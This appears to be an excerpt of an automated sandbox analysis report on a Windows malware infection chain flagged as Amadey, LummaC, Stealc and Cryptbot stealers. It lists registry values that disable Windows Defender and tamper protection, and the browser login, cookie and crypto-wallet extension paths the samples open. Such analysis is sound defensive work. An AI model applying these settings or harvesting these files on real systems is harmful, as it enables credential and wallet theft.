Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_0043CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

11_2_0043CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_004265E0 LookupAccountNameA,

11_2_004265E0

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007FB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

17_2_007FB952

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

Code function: 17_2_007C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

17_2_007C42DE

Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 48f66b117f.exe, 0000000E.00000003.3186432902.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3397927807.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3398765467.00000000016B4000.00000004.00000020.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3397717298.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 48f66b117f.exe, 00000010.00000003.3398173438.0000000001699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2173757368.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2172727789.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2214156251.0000000000421000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2213355368.0000000000421000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2178628685.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2137291659.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2766615031.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000002B.00000002.3699710608.0000000001568000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9bf3542ba6.exe PID: 7160, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 1408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 48f66b117f.exe PID: 4608, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3407023112.0000000000AD1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3264850725.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.3111470770.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 643ebf15b8.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 48f66b117f.exe, 0000000E.00000003.3160166969.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 48f66b117f.exe, 00000010.00000003.3319787378.0000000001685000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 48f66b117f.exe, 0000000E.00000003.3160166969.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: 48f66b117f.exe, 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 48f66b117f.exe, 0000000E.00000003.3160166969.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 48f66b117f.exe, 0000000E.00000003.3160166969.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
